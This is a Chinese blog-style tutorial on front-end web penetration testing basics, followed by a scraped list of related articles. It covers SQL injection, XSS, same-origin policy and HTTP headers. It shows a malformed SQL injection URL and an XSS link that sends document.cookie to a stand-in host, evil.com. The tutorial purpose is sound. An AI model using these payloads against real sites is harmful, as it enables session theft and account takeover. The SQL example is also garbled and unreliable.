Web前端渗透测试技术小结(一)
首先端正一下态度不可干违法的事
1、SQL注入测试
对于存在SQL注入的网页,使用SQL语句进行关联查询(仿照C/S模式)eg http://www.foo.com/user.php?id=1
常见的这样的网址,这样提交到服务器后返回的只能是ID=1的普通信息。做数据库关联查询http://www.foo.com/user.php?id=1 union where id=1 union select password ,1,a from users这样的SQL语句是合法的,如果拂去其端的应用存在SQL注入问题,他会认为这是合法的提交查询,当这样提交后user的password会发生泄漏。以及密码账户上也可以进行测试。
2、XSS跨站脚本攻击
这里先解释跨站脚本 eg <script>eval(location.hash.substr(1));</script>,这段代码会保存到http://www.foo.com/info/html中,JavaScript内置的函数eval可以动态的调用JavaScript语句,location.hash获取的是链接http://www.foo.com/info.html#callback中的#后面的内容,substr是字符创截取函数,location.hash.substr(1)表示截取#后面的内容给eval函数进行动态的执行。
现在来构造XSS链接脚本语句,http://www.foo.com/info.html#new%20Image().src="http://evil.com/steal.php?c="+escape(document.cookie)浏览器执行后脚本会变成eval('new Image().src="http://www/evil.com/steal.php?c="escape(document.cookie)')这样就可以跨站获取cookie信息,利用cookie可以登录被攻击者的账号,进行越权操作。
3、同源策略
不同客户端脚本在没有授权的情况下不能读写对方的资源。
所谓同域就是指 同协议,桐域名,桐端口,通常说的两个站点同域就是指他们同源。
客户端脚本主要是指JavaScript和ActionScript(Flash脚本语言),以及两者遵循的ECMAScript脚本标准,Flash提供了通信接口,两个脚本之间可以互相的通信。这里在说明一下Ajax是后台异步传输数据的一种形式,不需要刷新网页便可以修改后台数据。
所谓授权就是目标站明确返回HTTP响应头 Access-control-allow-origin: http://ww.evil.com那么ajax技术对www.foo.com上的数据进行读写操作。
读写权限,web上资源针对不同用户使用不同的权限,HTTP请求的referer只可读,但是document.cookie具备读写。
资源,这里只说跨护端的资源,包括HTTP消息头,整个DOM树,浏览器存储cookie 、Flash Cookie、localStorage。
4、HTTP协议
在抓包分析中常看到HTTP协议链接会立即断开或者延时断开,每次请求都是再次建立。
GET http://www.foo.com/ HTTP/1.1
Host: www.foo.com
Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.19 (KHTML, like
Gecko) Chrome/18.0.1025.3 Safari/535.19
Referer: http://www.baidu.com/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: SESSIONID=58AB420B1D8B800526ACCCAA83A827A3:FG=1
响应如下:
HTTP/1.1 200 OK
Date: Sun, 04 Mar 2012 22:48:31 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
Set-Cookie: PTOKEN=; expires=Mon, 01 Jan 1970 00:00:00 GMT; path=/;
domain=.foo.com; HttpOnly
Set-Cookie: USERID=c7888882e039b32fd7b4d3; expires=Tue, 01 Jan 2030
00:00:00 GMT; path=/; domain=.foo.com
X-Powered-By: PHP/5.2.6
Content-Length: 3635
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=gbk
<html>
4、iframe标签是HTML中的一个重要的标签,是web安全中出频率最高,很多网站通过这个标签嵌入第三方的内容,比如广告页面。
5、隐私获取,通过JavaScript语句可以构造函数获取相应的值,document.getElementById('private_msg').innerHTML这表示获取标签对象内HTML数据内容,也可以借用DOM接受标签名做进一步查询,document.getElementByTagNmae('div)[2].innerHTML;使用函数 getElementsByTagName接受的就是标签名,返回一个数组。另外还可以通过这种 方法获取cookie值,document.cookie
时到用时方恨少。。。。。。。。。
Web前端渗透测试技术小结(一)的更多相关文章
- 【渗透技术】渗透测试技术分析_TomCat
[渗透技术]渗透测试技术分析_TomCat 本文转自:i春秋论坛 渗透测试-中间人攻击(原理)说起“中间人攻击”我想大多数对渗透测试又了解的朋友都多少有所了解,因为我们用到的次数真是非常的多.它可以将 ...
- ref:Web Service 渗透测试从入门到精通
ref:https://www.anquanke.com/post/id/85910 Web Service 渗透测试从入门到精通 发布时间:2017-04-18 14:26:54 译文声明:本文是翻 ...
- web前端各大技术都能实现什么功能
web前端各大技术都能实现什么功能 以下是孜然为你总结的web前端开发你必须要一项一项掌握的技术:Html.css.ajax.jquery.extjs.JavaScript,今天为你详细解读他们各自都 ...
- 网络统计学与web前端开发基础技术
网络统计学与web前端开发基础技术 学习web前端开发基础技术(网页设计)需要了解:HTML.CSS.JavaScript三种语言.下面我们就来了解一下这三门技术在网页设计中的用途: HTML是网页内 ...
- Web前端-Ajax基础技术(下)
Web前端-Ajax基础技术(下) 你要明白ajax是什么,怎么使用? ajax,web程序是将信息放入公共的服务器,让所有网络用户可以通过浏览器进行访问. 浏览器发送请求,获取服务器的数据: 地址栏 ...
- Web前端-Ajax基础技术(上)
Web前端-Ajax基础技术(上) ajax是浏览器提供一套的api,用于向服务器发出请求,接受服务端返回的响应,通过javascript调用,实现通过代码控制请求与响应,实现网络编程. ajax发送 ...
- Web应用渗透测试框架Arachni
Web应用渗透测试框架Arachni Arachni是一款Ruby语言编写的Web应用渗透测试框架.当用户指定目标后,该框架可以自动扫描网站页面,对页面中的链接.表单.Cookie.HTTP He ...
- kali Linux渗透测试技术详解
kali Linux渗透测试技术详解 下载:https://pan.baidu.com/s/1g7dTFfzFRtPDmMiEsrZDkQ 提取码:p23d <Kali Linux渗透测试技术详 ...
- web前端页面性能优化小结
影响用户访问的最大部分是前端的页面.网站的划分一般为二:前端和后台.我们可以理解成后台是用来实现网站的功能的,比如:实现用户注册,用户能够为文章发表评论等等.而前端呢?其实应该是属于功能的表现. 而我 ...
随机推荐
- 今天碰到一个问题,怎么限制用户在固定宽度的input输入框里输入的长度,由此涉猎到了maxlength属性和size属性以及它们的区别。
最开始想首先要强制在一行,另外超出的隐藏.还有一个思路是把value的值的长度和框的长度怎么联系起来,具体怎么联系我也不知道. 在解决另外一个问题的时候,哥发给我的代码里无意中看见input有个max ...
- mysql 8.0 ~ innodb与变量优化
一 innodb的优化 1 已完全不支持myisam引擎 2 将自增主键的计数器持久化到redo log中.每次计数器发生改变,都会将其写入到redo log中.如果数据库发生重启,InnoDB ...
- DeepLearning.ai-Week4-Face Recognition for the Happy House
1 - Task Implement the triplet loss function Use a pretrained model to map face images into 128-dime ...
- 【Java编程思想笔记】-集合2
详细的接口API转自博客:https://blog.csdn.net/jyg0723/article/details/80498840#collection-api-%E8%AF%A6%E8%A7%A ...
- 贝叶斯优化(Bayesian Optimization)深入理解
目前在研究Automated Machine Learning,其中有一个子领域是实现网络超参数自动化搜索,而常见的搜索方法有Grid Search.Random Search以及贝叶斯优化搜索.前两 ...
- python,练习乌龟吃鱼
''' 1.首先要有一个画布 2.随机乌龟和鱼的位置 3.移动 ''' import random as r list_x = [0,10] list_y = [0,10] class Turtle: ...
- centos6.5环境安装zookeeper-3.4.5
1.将zookeeper-3.4.5.tar.gz压缩包拷贝到/usr/local/src, 并用如下命令解压 tar -xzf zookeeper-3.4.5.tar.gz 2.在zookeepe ...
- SpringBoot的Session并发控制
⒈是什么? 即控制业务系统中一个用户只能有一个Session ⒉解决方案 1.当这个用户在其它地方登录的时候,把之前的Session失效掉. package cn.coreqi.security.co ...
- BIM 3D 数据交换格式 ----张建平(清华女)
1.collada EXPORTER 2.FBX 3D MAX 3.DAE 4.3D中的OBJ文件格式详解 ( http://www.cnblogs.com/slysky/p/408130 ...
- CLR via C#关于泛型(Generics )的摘录
泛型,是CLR和编程语言提供的一种特殊机制,它支持另一种形式的代码重用,即“算法重用”. 简单的说,开发人员先定义好一个算法,比如排序.搜索.交换.比较或者转换等.但是,定义算法的开发人员并不设改算法 ...